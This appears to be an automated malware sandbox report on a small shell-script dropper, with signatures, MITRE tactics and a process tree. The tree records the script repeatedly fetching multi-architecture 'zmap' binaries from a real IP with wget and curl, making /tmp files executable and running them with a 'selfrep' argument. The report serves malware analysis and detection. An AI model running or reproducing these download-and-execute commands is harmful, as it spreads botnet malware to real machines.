Overview

overview

7

Static

static

1

1e0a90da44...003.sh

ubuntu-18.04-amd64

7

1e0a90da44...003.sh

debian-9-armhf

7

1e0a90da44...003.sh

debian-9-mips

7

1e0a90da44...003.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    2s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    16/11/2024, 02:12

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General

  • Target
    1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
  • Size 2KB
  • Sample241116-cm66ws1raq
  • SHA256 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003
  • MD5 SHA1 SHA512
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 13 IoCs
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
    /tmp/1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh
    1⤵
    • Writes file to tmp directory
    PID:1507
    • /usr/bin/wget
      wget http://154.216.16.71:85/zmap.x86
      2⤵
        PID:1508
      • /usr/bin/curl
        curl -O http://154.216.16.71:85/zmap.x86
        2⤵
          PID:1509
        • /bin/cat
          cat zmap.x86
          2⤵
            PID:1510
          • /bin/chmod
            chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/WTH
            ./WTH lg.selfrep
            2⤵
            • Executes dropped EXE
            PID:1512
          • /usr/bin/wget
            wget http://154.216.16.71:85/zmap.mips
            2⤵
            • System Network Configuration Discovery
            PID:1514
          • /usr/bin/curl
            curl -O http://154.216.16.71:85/zmap.mips
            2⤵
            • System Network Configuration Discovery
            PID:1518
          • /bin/cat
            cat zmap.mips
            2⤵
            • System Network Configuration Discovery
            PID:1519
          • /bin/chmod
            chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/WTH
            ./WTH lg.selfrep
            2⤵
            • Executes dropped EXE
            PID:1521
          • /usr/bin/wget
            wget http://154.216.16.71:85/zmap.mpsl
            2⤵
              PID:1523
            • /usr/bin/curl
              curl -O http://154.216.16.71:85/zmap.mpsl
              2⤵
                PID:1524
              • /bin/cat
                cat zmap.mpsl
                2⤵
                  PID:1525
                • /bin/chmod
                  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1526
                • /tmp/WTH
                  ./WTH lg.selfrep
                  2⤵
                  • Executes dropped EXE
                  PID:1527
                • /usr/bin/wget
                  wget http://154.216.16.71:85/zmap.arm
                  2⤵
                    PID:1529
                  • /usr/bin/curl
                    curl -O http://154.216.16.71:85/zmap.arm
                    2⤵
                      PID:1530
                    • /bin/cat
                      cat zmap.arm
                      2⤵
                        PID:1531
                      • /bin/chmod
                        chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1532
                      • /tmp/WTH
                        ./WTH lg.selfrep
                        2⤵
                        • Executes dropped EXE
                        PID:1533
                      • /usr/bin/wget
                        wget http://154.216.16.71:85/zmap.arm5
                        2⤵
                          PID:1535
                        • /usr/bin/curl
                          curl -O http://154.216.16.71:85/zmap.arm5
                          2⤵
                            PID:1536
                          • /bin/cat
                            cat zmap.arm5
                            2⤵
                              PID:1537
                            • /bin/chmod
                              chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1538
                            • /tmp/WTH
                              ./WTH lg.selfrep
                              2⤵
                              • Executes dropped EXE
                              PID:1539
                            • /usr/bin/wget
                              wget http://154.216.16.71:85/zmap.arm6
                              2⤵
                                PID:1541
                              • /usr/bin/curl
                                curl -O http://154.216.16.71:85/zmap.arm6
                                2⤵
                                  PID:1542
                                • /bin/cat
                                  cat zmap.arm6
                                  2⤵
                                    PID:1543
                                  • /bin/chmod
                                    chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1544
                                  • /tmp/WTH
                                    ./WTH lg.selfrep
                                    2⤵
                                    • Executes dropped EXE
                                    PID:1545
                                  • /usr/bin/wget
                                    wget http://154.216.16.71:85/zmap.arm7
                                    2⤵
                                      PID:1547
                                    • /usr/bin/curl
                                      curl -O http://154.216.16.71:85/zmap.arm7
                                      2⤵
                                        PID:1548
                                      • /bin/cat
                                        cat zmap.arm7
                                        2⤵
                                          PID:1549
                                        • /bin/chmod
                                          chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1550
                                        • /tmp/WTH
                                          ./WTH lg.selfrep
                                          2⤵
                                          • Executes dropped EXE
                                          PID:1551
                                        • /usr/bin/wget
                                          wget http://154.216.16.71:85/zmap.ppc
                                          2⤵
                                            PID:1553
                                          • /usr/bin/curl
                                            curl -O http://154.216.16.71:85/zmap.ppc
                                            2⤵
                                              PID:1554
                                            • /bin/cat
                                              cat zmap.ppc
                                              2⤵
                                                PID:1555
                                              • /bin/chmod
                                                chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1556
                                              • /tmp/WTH
                                                ./WTH lg.selfrep
                                                2⤵
                                                • Executes dropped EXE
                                                PID:1557
                                              • /usr/bin/wget
                                                wget http://154.216.16.71:85/zmap.m68k
                                                2⤵
                                                  PID:1559
                                                • /usr/bin/curl
                                                  curl -O http://154.216.16.71:85/zmap.m68k
                                                  2⤵
                                                    PID:1560
                                                  • /bin/cat
                                                    cat zmap.m68k
                                                    2⤵
                                                      PID:1561
                                                    • /bin/chmod
                                                      chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:1562
                                                    • /tmp/WTH
                                                      ./WTH lg.selfrep
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:1563
                                                    • /usr/bin/wget
                                                      wget http://154.216.16.71:85/zmap.spc
                                                      2⤵
                                                        PID:1565
                                                      • /usr/bin/curl
                                                        curl -O http://154.216.16.71:85/zmap.spc
                                                        2⤵
                                                          PID:1566
                                                        • /bin/cat
                                                          cat zmap.spc
                                                          2⤵
                                                            PID:1567
                                                          • /bin/chmod
                                                            chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:1568
                                                          • /tmp/WTH
                                                            ./WTH lg.selfrep
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:1569
                                                          • /usr/bin/wget
                                                            wget http://154.216.16.71:85/zmap.i686
                                                            2⤵
                                                              PID:1571
                                                            • /usr/bin/curl
                                                              curl -O http://154.216.16.71:85/zmap.i686
                                                              2⤵
                                                                PID:1572
                                                              • /bin/cat
                                                                cat zmap.i686
                                                                2⤵
                                                                  PID:1573
                                                                • /bin/chmod
                                                                  chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:1574
                                                                • /tmp/WTH
                                                                  ./WTH lg.selfrep
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:1575
                                                                • /usr/bin/wget
                                                                  wget http://154.216.16.71:85/zmap.sh4
                                                                  2⤵
                                                                    PID:1577
                                                                  • /usr/bin/curl
                                                                    curl -O http://154.216.16.71:85/zmap.sh4
                                                                    2⤵
                                                                      PID:1578
                                                                    • /bin/cat
                                                                      cat zmap.sh4
                                                                      2⤵
                                                                        PID:1579
                                                                      • /bin/chmod
                                                                        chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                                        2⤵
                                                                        • File and Directory Permissions Modification
                                                                        PID:1580
                                                                      • /tmp/WTH
                                                                        ./WTH lg.selfrep
                                                                        2⤵
                                                                        • Executes dropped EXE
                                                                        PID:1581
                                                                      • /usr/bin/wget
                                                                        wget http://154.216.16.71:85/zmap.arc
                                                                        2⤵
                                                                          PID:1583
                                                                        • /usr/bin/curl
                                                                          curl -O http://154.216.16.71:85/zmap.arc
                                                                          2⤵
                                                                            PID:1584
                                                                          • /bin/cat
                                                                            cat zmap.arc
                                                                            2⤵
                                                                              PID:1585
                                                                            • /bin/chmod
                                                                              chmod +x 1e0a90da44fe87314bfd20406beb5e47f378c25b7018f5a226eaeca62e7c8003.sh config-err-0CS2E4 netplan_8wdiyuro snap-private-tmp ssh-KT3HY26vtelr systemd-private-5075275b91b24dc6a4c06bed4785e160-bolt.service-qw0VmD systemd-private-5075275b91b24dc6a4c06bed4785e160-colord.service-SuSX9I systemd-private-5075275b91b24dc6a4c06bed4785e160-ModemManager.service-u6UdW1 systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-resolved.service-SqcVuf systemd-private-5075275b91b24dc6a4c06bed4785e160-systemd-timedated.service-IeH6Ec WTH
                                                                              2⤵
                                                                              • File and Directory Permissions Modification
                                                                              PID:1586
                                                                            • /tmp/WTH
                                                                              ./WTH lg.selfrep
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              PID:1587

                                                                          Network

                                                                                MITRE ATT&CK Enterprise v15

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